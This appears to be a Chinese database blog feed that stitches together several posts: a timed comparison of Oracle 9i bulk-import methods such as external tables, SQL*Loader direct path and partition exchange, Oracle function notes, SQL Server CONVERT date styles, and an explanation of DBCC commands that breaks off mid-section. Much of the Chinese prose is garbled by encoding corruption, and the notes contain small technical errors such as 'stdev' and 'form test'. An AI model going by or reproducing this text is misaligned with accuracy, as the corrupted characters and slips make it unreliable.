每个数据库管理员都会(x��)面��(f��)数据导入的问题，�q�有可能发生在数据库的新老移植过�E�中�Q�或者是在数据库崩溃后的恢复重徏�q�程中，�q�有可能是在创徏��试数据库的模拟环境�q�程中，��M��作�ؓ(f��)一名合格的数据库管理员�Q�你应该做好接受各种数据导入��h��的技术储备，同时�q�要��量满��人本能的对导入速度的苛求。本文仅针对 Oracle 数据库所提供的加速数据导入的各种�Ҏ(gu��)��和技术进行探讨，其中的一些方法也可以转化应用于其他数据库。以下七�U�数据导入方法哪个最适用需要针对具体情况具体分析，我也附带列�D了媄响导入速度的各�U�因素供斟酌。�ؓ(f��)了比较各�U�数据导入方法的效果�Q�我创徏了示例表和数据集�Q��ƈ用各�U�方法导入示例数据集来计��M��导入旉��和导入进�E�占�?CPU 旉��Q�这里得出的旉��仅供参考。需要说明的是，��你��?Oracle 9i 企业版数据库�Q�当然你也可以尝试��?Oracle 7.3 以上的标准版数据库。本文��用的机器配置为：(x��)CPU Intel P4�Q�内�?256M�Q�数据库 Oracle 9i 企业�?/font>

�C�Z��表结构和数据�?br>��Z��演示和比较各�U�数据导入方法，我假定数据导入�Q务是��外部文件数据导入到 Oracle 数据库的CALLS表中�Q�外部数据文件包含十万条呼叫中心记录�Q�将�q?6MB 的文件大��，具体的数据示例如�?

82302284384,2003-04-18:13:18:58,5001,投诉,手机三包�l�修质量82302284385,2003-04-18:13:18:59,3352,咨询,供水热线的号�?2302284386,2003-04-18:13:19:01,3142,��,增设公交�U��\
接受导入数据的表名是 CALLS�Q�表�l�构如下�Q?/font>

Name Null? Type Comment ------------ --------- ------------- ----------------- CALL_ID NOT NULL NUMBER Primary key CALL_DATE NOT NULL DATE Non-unique index EMP_ID NOT NULL NUMBER CALL_TYPE NOT NULL VARCHAR2(12) DETAILS VARCHAR2(25)

逐条数据插入INSERT
数据导入的最��单方法就是编�?INSERT 语句�Q�将数据逐条插入数据库。这�U�方法只适合导入��量数据�Q�如 SQL*Plus 脚本创徏某个表的�U�子数据。该�Ҏ(gu��)��的最大缺点就是导入速度�~�慢�Q�占用了大量�?CPU 处理旉��Q�不适合大批量数据的导入�Q�而其主要优点��是导入构思简单又有修改完善的�Ҏ(gu��)��，不需要多做其它的准备��可以��用。如果你有很多时间没法打发，又想折磨一下数据库�?CPU�Q�那�q�种�Ҏ(gu��)��正适合你�?)
��Z��与其它方法做比较�Q�现��十万条记录通过此方法导入到 CALLS 表中�Q��d��消�?172 �U�，其中导入�q�程占用 CPU 旉��?52 �U��?/font>

逐条数据插入 INSERT�Q�表暂无索引
��Z��么上一�U�方法占用了较多�?CPU 处理旉��Q�关键是 CALLS 表中已创��Z��索引�Q�当一条数据插入到表中�Ӟ��Oracle 需要判别新数据与老数据在索引斚w��是否有冲�H�，同时要更新表中的所有烦引，重复更新索引�?x��)消耗一定的旉��。因此提高导入速度的好办法��是在创��时先不创建烦引或者在导入数据之前删除所有烦引，在外部文件数据逐条插入到表中后再统一创徏表的索引。这样导入速度�?x��)提高，同时创徏的烦引也很紧凑而有效，�q�一原则同样适用于位囄��引（Bitmap Index�Q�。对于主要的和唯一的关键约�?key constraints)�Q�可以��之先暂时失效(disabling)或者删除约束来获得同样的效果，当然�q�些做法�?x��)对已经存在的表的外键约束��生相关的影响�Q�在删除前需要通盘斟酌�?br> 需要说明的是，�q�种�Ҏ(gu��)��在表中已存在很多数据的情况下不太合适。例如表中已有九(ji��)千万条数据，而此旉��要追加插入一千万条数据，实际导入数据节省的时间将�?x��)被重新创徏一亿条数据的烦引所消耗殆��，�q�是我们不希望得到的�l�果。但是，如果要导入数据的表是�I�的或导入的数据量比已有的数据量要大得多�Q�那么导入数据节省的旉��会(x��)��量用于重新创徏索引�Q�这时该�Ҏ(gu��)��才可以考虑使用�?br> 加快索引创徏是另一个需要考虑的问题。�ؓ(f��)了减��烦引创��Z��排序的工作时��_(d��)��可以在当前会(x��)话中增加 SORT_AREA_SIZE 参数的大��，该参数允许当前会(x��)话在内存的烦引创��E�中执行更多的排序操作。同栯��可以使用 NOLOGGING 关键字来减少因创建烦引而生成的 REDO 日志量，NOLOGGING 关键字会(x��)�Ҏ(gu��)��据库的恢复和 Standby 备用数据库��生明昄��影响�Q�所以在使用之前要仔�l�斟酌，到底是速度优先�q�是�E�_��优先�?br>�q�用�q�种�Ҏ(gu��)��Q�先删除 CALLS 表的主键和不唯一的烦引，然后逐条导入数据�Q�完成后重新创徏索引( 表在导入数据前是�I�的)。该�Ҏ(gu��)��d��消�?130 �U�，包括重徏索引的时��_(d��)��其中导入�q�程占用 CPU 旉��?35�U��?br> �q�种�Ҏ(gu��)��的优�Ҏ(gu��)��可以加快导入的速度�q��索引更加紧凑有效�Q�缺�Ҏ(gu��)��~�Z��通用性，当你对表增加新的复杂的模式元素（索引、外键等�Q�时你需要添加代码、修改导入执行程序。另外针�?7*24 在线要求的数据库在线导入操作�Ӟ��删除表的索引�?x��)对在线用户的查询有很大的性能影响�Q�同时也要考虑�Q�主要或唯一的关键约束条件的删除或失效可能会(x��)影响到引用它们的外键的��用�?/font>

扚w��插入�Q�表暂无索引
在Oracle V6 �?OCI �~�程接口加入了数�l�接口特性。数�l�操作允许导入程序读取外部文件数据�ƈ解析后，向数据库提交SQL语句�Q�批量插�?SQL 语句��索出的数据。Oracle 仅需要执行一��?SQL 语句�Q�然后在内存中批量解析提供的数据。批量导入操作比逐行插入重复操作更有效率�Q�这是因为只需一�ơ解�?SQL 语句�Q�一些数据绑订操作以及程序与数据库之间来回的操作都显著减��，而且数据库对每一条数据的操作都是重复可知的，�q�给数据库提供了优化执行的可能。其优点是数据导入的��M��旉��明显减少�Q�特别是�q�程占用 CPU 的时间�?br> 需要提醒的是，通过 OCI 接口��实可以执行数据扚w��导入操作�Q�但是许多工具和脚本语言却不支持使用此功能。如果要使用该方法，需要研�I�你所使用的开发工��h��否支�?OCI 扚w��操作功能。导入程序需要进行复杂的�~�码�q�可能存在错误的风险�Q�缺乏一定的�Ҏ(gu��)��?br> �q�用上述�Ҏ(gu��)��Q�程序将外部数据提取到内存中的数�l�里�Q��ƈ执行扚w��插入操作�Q?00�?�ơ）�Q�保留了表的删除/重徏索引操作�Q��ȝ��导入旉��下降�?14 �U�，而进�E�占�?CPU 的时间下降到7�U�，可见实际导入数据所��p��的时间显著下降了 95%�?/font>

CREATE TABLE AS SELECT�Q��用Oracle9i的External Table
Oracle 9i 的一��Ҏ(gu��)��Ҏ(gu��)��就�?External Table�Q�它?y��u)��p��通常的数据库表一��P��拥有字段和数据类型约束，�q�且可以查询�Q�但是表中的数据却不存储在数据库中，而是在与数据库相兌��的普通外部文仉��。当你查�?External Table �Ӟ��Oracle ��解析该文�g�q�返回符合条件的数据�Q�就象该数据存储在数据库表中一栗��?br> 需要注意的是，你可以在查询语句中将 External Table 与数据库中其他表�q�行�q�接�Q�Join�Q�，但是不能�l?External Table 加上索引�Q��ƈ且不能插�?更新/删除数据�Q�毕竟它不是真正的数据库表。另外，如果与数据库相关联的外部文�g被改变或者被删除�Q�这�?x��)媄响�?External Table �q�回查询�l�果�Q�所以在变动前要先跟数据库打招呼�?br> �q�种�Ҏ(gu��)��为导入数据打开了新的一扇门。你可以很容易的��外部文件与数据库相兌��Q��ƈ且在数据库中创徏对应�?External Table�Q�然后就可以立即查询数据�Q�就象外部数据已�l�导入到数据库表中一栗��唯一的不��需要明��，数据�q�未真正导入到数据库中，当外部文件被删除或覆盖时�Q�数据库��不能访�?External Table 里的数据�Q�而且索引没有被创建，讉K��数据速度��有所�~�慢。创�?CALLS_EXTERNAL�Q�External Table表）如下�Q��之与外部数据文�g兌��Q?br> CREATE TABLE calls_external (call_id NUMBER, call_date DATE, emp_id NUMBER, call_type VARCHAR2(12), details VARCHAR2(25)) ORGANIZATION EXTERNAL (TYPE oracle_loader DEFAULT DIRECTORY extract_files_dir ACCESS PARAMETERS (RECORDS DELIMITED BY NEWLINE FIELDS TERMINATED BY ',' MISSING FIELD VALUES ARE NULL (call_id, call_date CHAR DATE_FORMAT DATE MASK "yyy-mm-dd:hh24:mi:ss", emp_id, call_type, details ) ) LOCATION ('calls.dat') );
然后��?External Table 与真正被使用的表 CALLS 兌��同步�Q�删�?CALLS 表�ƈ重徏它：(x��)

CREATE TABLE calls ( call_id NUMBER NOT NULL, call_date DATE NOT NULL, emp_id NUMBER NOT NULL, call_type VARCHAR2(12) NOT NULL, details VARCHAR2(25) ) TABLESPACE tbs1 NOLOGGING AS SELECT call_id, call_date, emp_id, call_type, details FROM calls_external;
因�ؓ(f��) CALLS 表是真正的数据库表，可以创徏索引来加快访问，表中的数据将被保留，即��外部数据文�g被更新或被删除。在��语句中NOLOGGING关键字用于加快烦引重建�?br> �q�用�q�种�Ҏ(gu��)��导入数据�Q��ȝ��导入旉��?15 �U�，�q�程占用 CPU 的时间�ؓ(f��)8�U�，�q�比前一�U�方法稍微慢些，但不能就此认��Z��?External Table 导入数据一定比 OCI 扚w��插入慢�?br> �q�种�Ҏ(gu��)��的优�Ҏ(gu��)��Q�未�l�进行大量的�~�写代码��取得了不错的结果，不象 OCI 扚w��插入存在�~�码错误风险�Q�它�q�可以��?dbms_job 包调度数据导入进�E�，实现数据导入的自动化。其�~�点是目标表必须先删除后重徏�Q�如果只需要导入增量数据时此方法就不合适了�Q�另外用户在表的重徏�q�程中访问数据时�?x��)遇�?"table or view does not exist" 的错误，它仅适用�?Oracle 9i 以上版本的数据库�?/font>

INSERT Append as SELECT�Q��?Oracle9i �?External Table
上一�U�方法演�C�Z��如何创徏与外部数据文件关联的数据库表�Q�其表的数据是由外部数据文�g映射�q�来。缺�Ҏ(gu��)��数据库表需要被先删除再重徏来保持与外部数据文�g的一致和同步�Q�对导入增量的数据而不需要删除已有数据的情况不合适。针对这�U�需求，Oracle 提供�?INSERT 语句外带 APPEND 提示来满��?br> INSERT /*+ APPEND */ INTO calls (call_id, call_date, emp_id, call_type, details) SELECT call_id, call_date, emp_id, call_type, details FROM calls_external;
该语句读取引用外部数据文件的 CALLS_EXTERNAL 表中内容�Q��ƈ��之增加到表 CALLS 中。Append 提示告诉 Oracle 使用快速机制来插入数据�Q�同时可以配合��用表�?NOLOGGING 关键字�?br> 可以预见�q�种�Ҏ(gu��)��与前一�Ҏ(gu��)��消耗了相同的时��_(d��)��毕竟它们是��?External Table �Ҏ(gu��)��导入数据的不同阶段解决�Ҏ(gu��)��。如果目标表不是�I�的�Q�那��会(x��)消耗稍微长的时��_(d��)��因�ؓ(f��)要重建更长的索引�Q�，而前一 CREATE TABLE as SELECT �Ҏ(gu��)��是整体创建烦引�?/font>

SQL*Loader的强大功�?br> SQL*Loader �?Oracle 提供的导入实用程序，特别针对从外部文件导入大扚w��数据�q�入数据库表。该工具已经有多�q�的历史�Q�每一�ơ版本升�U�都使其更加强大、灵�z�d��快捷�Q�但遗憾的是它的语法却是��秘而不直观�Q��ƈ且只能从命��o(h��)行窗口处�q�行调用�?br> ��管它有不直观的�~�点�Q�但却是最快最有效的导入数据方法。缺省情况下它��?"conventional path" 常规选项来批量导入数据，其性能提高度�ƈ不明显。我��使用更快速的导入参数选项�Q�在命��o(h��)行添�?direct=true" 选项调用 "direct path" 导入选项。在 "direct path" 导入实现中，�E�序在数据库表的新数据块�?high water mark 处直接写入导入数据，�~�短了数据插入的处理旉��Q�同时优化��用了非常有效的B+二叉�?w��i)方法来更新表的索引�?br> �q�用�q�种�Ҏ(gu��)��Q�如果��用缺省的 conventional path 导入选项�Q��ȝ��导入旉��?81 �U�，�q�程占用 CPU 旉��大约�?12 �U�，�q�包括了更新表的索引旉��。如果��?direct path 导入选项�Q��ȝ��导入旉��竟是 9 �U�，�q�程占用 CPU 旉��也仅仅是 3 �U�，也包括了更新表的索引旉��?br> 由此可见�Q�尽��表中的索引在数据导入之前�ƈ没有被删除，使用SQL*Loader的direct path 导入选项仍然是快速和有效的。当然它也有�~�点�Q�就像NOLOGGING关键字一栯��Ҏ(gu��)��不生成REDO日志数据�Q�导入进�E�出错后��无法恢复到先前状态；在数据导入过�E�中表的索引是不起作用的�Q�用��h��时访问该表时��出现迟�~�，当然在数据导入的�q�程中最好不要让用户讉K��表�?/font>

分区交换 (Partition Exchange)
     以上讨论的数据导入方法都有一个限�Ӟ��是要求用户在导入数据完成之后才可以讉K��数据库表。面�?×24不间断访问数据库来说�Q�如果我们只是导入需要增加的数据�Ӟ��q�种限制��对用户的实时访问��生媄响。Oracle在这斚w��提供了表分区功能�Q�它可以减少导入数据操作对用户实时访问数据的影响�Q�操作模式就象��用可热插拔的��盘一��P��只不�q�这里的��盘换成了分区（Partition�Q�而已。需要声明的�?Partitioning 分区功能只有在企业版数据库中才提供�?br>    在一个被分区�q�的表中�Q�呈现给用户的表是多个分区段�Q�segments�Q�的集合。分区可以在需要时被添加，在维护时被卸载或删除�Q�分��可以和数据库中的表交换数据，只要它们的表�l�构和字�D늱�型是一致的�Q�交换后的分��拥有与之互动的表的数据。需要注意的是，�q�种交换只是在Oracle数据库的数据字典层面上进行，�q�没有数据被实际�U�d��Q�所以分��交换是极其快速的�?br>    ��Z��创徏实验环境�Q�先假设CALLS表是个分��Q�要创徏一个空的分区PART_01012004�Q�用来保�?004�q?�?日的呼叫数据。然后需要再创徏一临时表�ؓ(f��)CALLS_TEMP�Q�该表与CALLS表拥有相同的字段和数据类型�?br>    我们使用先前介绍的导入方法将十万条数据导入到CALLS_TEMP表中�Q�可以耐心�{�待数据完全导入到CALLS_TEMP表中�Q��ƈ且创建好索引和相关约束条�Ӟ��所有这一切操作�ƈ不媄响用户实时访问CALLS表，因�ؓ(f��)我们只对CALLS_TEMP临时表进行了操作。一旦数据导入完成，CALLS_TEMP表就存有2004�q?�?日的呼叫数据。同时利用CALLS表中名�ؓ(f��)PART_01012004的空分区�Q��用如下语句执行分��Z��换：(x��)
        ALTER   TABLE   calls          EXCHANGE   PARTITION   part_01012004 WITH   TABLE calls_temp          INCLUDING   INDEXES   WITHOUT   VALIDATION;
     分区交换操作��非常快速地只更新CALLS表的数据字典�Q�PART_01012004分区表即��L��有CALLS_TEMP表的所有数据，而CALLS_TEMP表变为空表。假定CALLS表��用局部烦引而非全局索引�Q�上�q�语句中的INCLUDING INDEXES��保证分��Z��换包括烦引的可用性，W(xu��)ITHOUT VALIDATION 指明不检查交替表中数据的匚w��Q�加快了交换的速度�?/font>

�l�论
以上探讨了Oracle数据库的多种数据导入�Ҏ(gu��)��Q�每�U�方法都有其优缺点和适用环境�Q�能够满��你不同的导入需求，当然你需要在了解了这些方法后�Q�在速度、简易性、灵�z�L��、可恢复性和数据可用性之间寻求最�?j��ng)_��入方案�?/font>

��Z��Ҏ(gu��)��各种�Ҏ(gu��)��的效果，我们创徏了一个实例来展示各种�Ҏ(gu��)��的导入效率和效果�Q�从中你可以选择最适合的方法用于今后的数据导入工作。同时请��C��Q�本文�ƈ未囊括所有的ORACLE数据导入技术（比如�q�行数据导入技术）�Q�这需要我们��l�不懈的探烦和尝试�?

数据导入�Ҏ(gu��)�� M��导入旉��(�U? 导入�q�程占用CPU旉��(�U?
逐条数据插入INSERT 172   52
逐条数据插入INSERT�Q�表暂无索引 130   35
扚w��插入�Q�表暂无索引   14   7
Create As Select�Q��用Oracle9i的External Table 15 8
INSERT Append as SELECT�Q��用Oracle9i的External Table   15 8
SQL*Loader conventional path �~�省导入选项 81   12
SQL*Loader direct path 导入选项   9   3

数值函敎ͼ�(x��)
abs(m) m的绝对�?
mod(m,n) m被n除后的余�?
power(m,n) m的n�ơ方
round(m[,n]) m四舍五入臛_��数点后n位的��|��n�~�省�?�Q?
trunc(m[,n]) m截断n位小��C��的��|��n�~�省�?�Q?

字符函数�Q?
initcap(st) �q�回st��每个单词的首字母大写，所有其他字母小�?
lower(st) �q�回st��每个单词的字母全部��写
upper(st) �q�回st��每个单词的字母全部大写
concat(st1,st2) �q�回st为st2接st1的末��（可用操作�W?||"�Q?
lpad(st1,n[,st2]) �q�回叛_��齐的st,st为在st1的左边用st2填充直至长度为n,st2的缺省�ؓ(f��)�I�格
rpad(st1,n[,st2]) �q�回左对齐的st,st为在st1的右边用st2填充直至长度为n,st2的缺省�ؓ(f��)�I�格
ltrim(st[,set]) �q�回st,st��Z��左边删除set中字�W�直到第一个不是set中的字符。缺省时�Q�指的是�I�格
rtrim(st[,set]) �q�回st,st��Z��双��删除set中字�W�直到第一个不是set中的字符。缺省时�Q�指的是�I�格
replace(st,search_st[,replace_st]) ��每�ơ在st中出现的search_st用replace_st替换�Q�返回一个st。缺省时�Q�删除search_st
substr(st,m[,n]) n=�q�回st串的子串�Q�从m位置开始，取n个字�W�长。缺省时�Q�一直返回到st末端
length(st) 数��|��q�回st中的字符�?
instr(st1,st2[,m[,n]]) 数��|��q�回st1从第m字符开始，st2�W�n�ơ出现的位置�Q�m及n的缺省��gؓ(f��)1
例：(x��)
1.
select initcap('THOMAS'),initcap('thomas') from test;
initca initca
------ ------
Thomas Thomas
2.
select concat('abc','def') "first" from test;
first
-----
abcdef
3.
select 'abc'||' '||'def' "first" from test;
first
-----
abc def
4.
select lpad(name,10),rpad(name,5,'*') from test;
lpad(name,10) rpad(name,5,'*')
------------ ----------------
mmx mmx**
abcdef abcde
5.
��L��地址字段末端的点及单词st和rd
select rtrim(address,'. st rd') from test
6.
select name,replace(name,'a','*') from test;
name replace(name,'a','*')
---- ---------------------
great gre*t
7.
select substr('archibald bearisol',6,9) a,substr('archibald bearisol',11) b from test;
a b
------- -------
bald bear bearisol
8.
select name,instr(name,' ') a,instr(name,' ',1,2) b from test;
name a b
------- -------- ---------
li lei 3 0
l i l 2 4

转换函数�Q?
nvl(m,n) 如果m��gؓ(f��)null,�q�回n,否则�q�回m
to_char(m[,fmt]) m从一个数��D�{换�ؓ(f��)指定格式的字�W�串fmt�~�省�Ӟ��fmt值的宽度正好能容�U�x��有的有效数字
to_number(st[,fmt]) st从字�W�型数据转换成按指定格式的数��|��~�省时数值格式串的大��正好�ؓ(f��)整个�?
附：(x��)
to_char()函数的格式：(x��)
---------------------------------
�W�号说明
---------------------------------
9 每个9代表�l�果中的一位数�?
0 代表要显�C�的先导0
$ ��元�W�号打印在数的左�?
L ��L��的当地货币符�?
. 打印十进制的��数�?
, 打印代表千分位的逗号
---------------------------------
例：(x��)
1.
select to_number('123.45')+to_number('234.56') form test;
to_number('123.45')+to_number('234.56')
----------------------------------------
358.01
2.
select to_char(987654321) from test;
to_char(987654321)
------------------
987654321
3.
select to_char(123,'$9,999,999') a,to_char(54321,'$9,999,999') b,to_char(9874321,'$9,999,999') c from test;
a b c
------- ---------- -----------
$123 $54,321 $9,874,321
4.
select to_char(1234.1234,'999,999.999') a,to_char(0.4567,'999,999.999') b,to_char(1.1,'999,999.999') from test;
a b c
--------- ---------- ------------
1,234.123 .457 1.100

分组函数�Q?
avg([distinct/all] n) 列n的��^均�?
count([all] *) �q�回查询范围内的行数包括重复值和�I��?
count([distinct/all] n) 非空值的行数
max([distinct/all] n) 该列或表辑ּ�的最大�?
min([distinct/all] n) 该列或表辑ּ�的最��?
stdev([distinct/all] n) 该列或表辑ּ�的标准偏差，忽略�I��?
sum([distinct/all] n) 该列或表辑ּ�的��d��
variance([distinct/all] n) 该列或表辑ּ�的方差，忽略�I��?

日期函数�Q?
add_months(d,n) 日期d加n个月
last_day(d) 包含d的月份的最后一天的日期
month_between(d,e) 日期d与e之间的月份数�Q�e先于d
new_time(d,a,b) a时区的日期和旉��d在b时区的日期和旉��
next_day(d,day) 比日期d晚，由day指定的周几的日期
sysdate 当前的系�l�日期和旉��
greatest(d1,d2,...dn) �l�出的日期列表中最后的日期
least(d1,k2,...dn) �l�出的日期列表中最早的日期
to_char(d [,fmt]) 日期d按fmt指定的格式�{变成字符�?
to_date(st [,fmt]) 字符串st按fmt指定的格式�{成日期��|��若fmt忽略�Q�st要用�~�省格式
round(d [,fmt]) 日期d按fmt指定格式舍入到最�q�的日期
trunc(d [,fmt]) 日期d按fmt指定格式截断到最�q�的日期
附：(x��)
日期格式�Q?
�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－
格式代码　说明举例或可取值的范围
�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－
DD 该月某一�?1�Q?
DY 　　　三个大写字母表示的周�?SUN�Q?..SAT
DAY 　　　完整的周几，大写英文 SUNDAY�Q?..SATURDAY
MM 月䆾 1�Q?2
MON　　　　　三个大写字母表示的月�?JAN�Q?..DEC
MONTH 完整 JANUARY,...DECEMBER
RM 月䆾的罗马数�?I,...XII
YY或YYYY 两位�Q�四位数字年
HH:MI:SS　　　�Ӟ��(x��)分：(x��)�U?
HH12或HH24　　�?2��时�?4��时昄��
MI　　　　　　�?
SS　　　　　　�U?
AM或PM　　　　上下午指�C�符
SP　　　　　　后缀SP要求拼写��Z�Q何数值字�D?
TH　　　　　　后缀TH表示��d��的数字是序数　4th,1st
FM 前缀�Ҏ(gu��)��或日或年��|��止填充
�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q�－�Q?
例：(x��)
1.
下一个周五的日期
select next_day(sysdate,6) from test;
2.
两个月前的今天的日期
select add_months(sysdate,-2) from test;

☜♥☞MengChuChen 2007-04-13 09:02 发表评论

SQL Server 日期格式转换(Convert用法)DBCC命��o(h��)详解

☜♥☞MengChuChen — Fri, 13 Apr 2007 00:31:00 GMT

SQL Server 日期格式转换(Convert用法

SQL Server中，Convert可以��日期�{换成不同格式�Q�格式控制是由CONVERT (data_type[(length)], expression [, style])中的style来完成的。下面列��Z��style取各�U�值时的效果：(x��)

在表中，左侧的两列表�C�将 datetime �?smalldatetime 转换为字�W�数据的 style 倹{��给 style 值加 100�Q�可获得包括世纪��C��的四位年�?(yyyy)�?/p>

不带世纪��C�� (yy)	带世�U�数�?(yyyy)	标准	输入/输出**
-	0 �?100 (*)	默认�?/td>	mon dd yyyy hh:miAM�Q�或 PM�Q?/td>
1	101	��国	mm/dd/yyyy
2	102	ANSI	yy.mm.dd
3	103	英国/法国	dd/mm/yy
4	104	德国	dd.mm.yy
5	105	意大�?/td>	dd-mm-yy
6	106	-	dd mon yy
7	107	-	mon dd, yy
8	108	-	hh:mm:ss
-	9 �?109 (*)	默认�?+ 毫秒	mon dd yyyy hh:mi:ss:mmmAM�Q�或 PM�Q?/td>
10	110	��国	mm-dd-yy
11	111	日本	yy/mm/dd
12	112	ISO	yymmdd
-	13 �?113 (*)	�Ƨ洲默认�?+ 毫秒	dd mon yyyy hh:mm:ss:mmm(24h)
14	114	-	hh:mi:ss:mmm(24h)
-	20 �?120 (*)	ODBC 规范	yyyy-mm-dd hh:mm:ss[.fff]
-	21 �?121 (*)	ODBC 规范�Q�带毫秒�Q?/td>	yyyy-mm-dd hh:mm:ss[.fff]
-	126(***)	ISO8601	yyyy-mm-dd Thh:mm:ss:mmm�Q�不含空��\|��
-	130*	�U�威�?/td>	dd mon yyyy hh:mi:ss:mmmAM
-	131*	�U�威�?/td>	dd/mm/yy hh:mi:ss:mmmAM

* 默认��|��style 0 �?100�? �?109�?3 �?113�?0 �?120�?1 �?121�Q�始�l�返回世�U�数�?(yyyy)�?br>** 当�{换�ؓ(f��) datetime 时输入；当�{换�ؓ(f��)字符数据时输出�?br>*** 专门用于 XML。对于从 datetime �?smalldatetime �?character 数据的�{换，输出格式如表中所�C�。对于从 float�?strong>money �?smallmoney �?character 数据的�{换，输出�{�同�?style 2。对于从 real �?character 数据的�{换，输出�{�同�?style 1�?/p>

重要默认情况下，SQL Server �Ҏ(gu��)��截止�q�䆾 2049 解释两位数字的年份。即�Q�两位数字的�q�䆾 49 被解释�ؓ(f��) 2049�Q�而两位数字的�q�䆾 50 被解释�ؓ(f��) 1950。许多客��L(f��ng)��应用�E�序�Q�例如那些基�?OLE 自动化对象的客户端应用程序）都��?2030 作�ؓ(f��)截止�q�䆾。SQL Server 提供一个配�|�选项�Q?两位数字的截止年�?�Q�，借以更改 SQL Server 所使用的截止年份�ƈ�Ҏ(gu��)��期进行一致性处理。然而最安全的办法是指定四位数字�q�䆾�?/p>

当从 smalldatetime 转换为字�W�数据时�Q�包含秒或毫�U�的样式��在�q�些位置上显�C�零。当�?datetime �?smalldatetime ��D��行�{换时�Q�可以通过使用适当�?char �?varchar 数据�c�d��长度来截断不需要的日期部分�?/p>

如果惛_��掉字�W�串中的分隔�W�，可以用replace函数。比如：(x��)replace(replace(replace(replace(convert(varchar(30),getdate(),121),'-',''),' ',''),':',''),'.','')

DBCC命��o(h��)详解

我们知道�Q�在数据库系�l�的开发和应用中，必须保证数据库的完整性和一致性�?

当数据库出现了严重错误；当我们怀疑数据库受到破坏�Q�如无法用drop命��o(h��)删除数据库或对象�Q��用某个表时出�?#8220;不可靠数�?#8221;的信息等�Q�；当用��h��变了Server的缺省排序的��序或改变了字符集而需要检查；当SA对系�l�做定期��查；�q�些时候，我们都需要��用数据库一致性检查工��P��Database Consistenecy Checker�Q�简�U�DBCC�Q�。DBCC是一个实用命令集�Q�用来检查一个数据库的逻辑一致性及物理一致性。在开发和应用中，DBCC是我们经常要使用的命令�?

　　DBCC命��o(h��)的格式如�?nbsp;

dbcc
(checktable ((表名|表标�? [, skip_ncindex] ) |
checkdb [(数据库名[, skip_ncindex] )] |
checkalloc [ (数据库名[, fix | nofix] )] |
tablealloc( {表名|表标识}
[�Q�{full |optimized |fast |null}
[, fix |nofix] ]]) |
indexalloc ( {表名|表标识}�Q�烦引标�?br>[�Q�{full |optimezed | fast | null}
[, fix |nofix ]] ) |
checkcatalog [ (数据库名)] |
dbrepair(数据库名,dropdb ) |
reindex({表名|表标识} ) |
fix_text({表名|表标�? }

　　dbcc的权限，对于checktable,fix_text和reindex是缺省赋�l�表的属主，对于checkdb,checkalloc�Q�checkcatalog,dbrepair�Q�indexalloc和tablealloc�Q�是�~�省赋给数据库属�ȝ��。DBO自动获得DBCC命��o(h��)和全部选项的权限。该权限不可转授。此外，dbcc在数据库是活动时�q�行�Q�除了dbrepair选项和带有fix选项的dbcc checkalloc以外�?

　　checktable选项

　　checktable是用来对一个指定的表做��查，��保索引和数据页正确地连接，索引按正��的��序存储�Q�所有指针的一致性，每页上数据信息的合理性，��偏�Uȝ��合理性。如果日志段在它自己的（日志�Q�设备上�Q�对syslogs表��用dbcc checktable命��o(h��)可以报告已��用的和剩余的日志�I�间�Q��用skip_ncindex选项使得dbcc checktable跌��对用戯��上非聚簇索引�Q�nonclustered index�Q�的��查。缺省是��查所有的索引�?

　　例１.��查日志��用的�I�间量和未用的空间量�Q?

dbcc checktable (syslogs)

　　若日志段在日志设备上�Q�则�?x��)返回如下信息�?x��)

checking syslogs
The total number of data page in the table is 1.
NOTICE:Space used on the log segment is 0.20 Mbytes, 0.13%.
NOTICE:Space free on the log segment is 153.4Mbytes,99.87%.
DBCC execution Completed.If dbcc printed error messages,
Contact a user with SA role.

　　若日志不在它自己的设备上�Q�则�?x��)显�C�Z��列信息：(x��)

NOTICE:Notification of log space used/free.
Can not be reported because the log segment is not on its own device.
�?. dbcc checktable (titles)
The total number of data page in this table is 3.
Table has 18 data rows.
DBCC execution Completed. If DBCC printed error messages. contact a user with SA role.

　　checkdb选项

　　�q�行checkdb选项同checktable��查的内容一��P��但它是对一指定数据库中的每张表都做�q�样的检查。若未指定数据库名，checkdb��查当前的数据库。checkdb�q�回的信息，也同于checktable�?

　　checkalloc选项

　　checkalloc是检查指定数据库�Q�看其所有正��分配的��和��未分配的页的情��c��若未指定数据库名，则checkalloc��查当前数据库。checkalloc�?x��)返回已分配的和使用的空间数量。checkalloc的缺省模式�ؓ(f��)nofix�Q�要使用fix选项�Q�必��L��数据库置于单用户模式�?

　例：(x��)

dbcc checkalloc (pubs2)
.
.
.
alloc page 0 (#of extent=32 used pages=68 ref pages=68)
alloc page 256 (# of extent=32 used pages=154 ref pages=154)
alloc page 512 (# of extent=28 used pages=184 ref pages=184)
alloc page 768 (# of extent=1 used pages=1 ref pages=1)
total (# of extent=93 used pages=407 ref pages=407) in this database.
DBCC execution completed.If dbcc printed error message,
Contact a user with System Adminstrator (SA) role.

　　tablealloc选项

　　tablealloc��查指定的表以��保所有页都被正确地分配。它是checkalloc的羃?y��u)��版本。对单张表进行相同的完整性检查。��用tablealloc可以生成三种�c�d��的报表：(x��)full,optimized和fast。full选项相当于表一�U�的checkalloc�Q�它报告各种�c�d��的分配错误。optimized选项��Z��表的对象分配映像�Q�OAM�Q�页里列出的分配��는�成报告。它�q�不报告�Q�也不能整理OAM��里没有列出的在分配��上没有引用的扩展（extent�Q�。如果没有指明类型，或��用了null�Q�则optimized选项是缺省的讄��。fast选项�Q��ƈ不生成分配报告，但生成一个被引用但�ƈ没有在扩展里分配的页的额外的报告。fix|nofix选项军_��tablealloc 是否整理表中发现的分配错误。对于所有的表，�~�省为fix�Q�但�pȝ��表除外，它们的缺省�ؓ(f��)nofix。要对系�l�表使用fix选项�Q�必��首先将数据库置成单用户模式�?

例：(x��)

dbcc tablealloc(titles)
昄��信息如下�Q?
The default report option of OPTIMIZED is used for this run. The default fix option of FIX.is used for this run.
.
.
.
Total #of extent=3
Alloc page 256 (# of extent=1 used pages=2 ref pages=2).
Alloc page 256(# of extent=1 used pages=2 ref pages=2)
Alloc page 256 (# of extent=1 used pages=2 ref pages=2)
Total (# of extent=3 used pages=8 ref pages=8) in this database.

　　indexalloc 选项

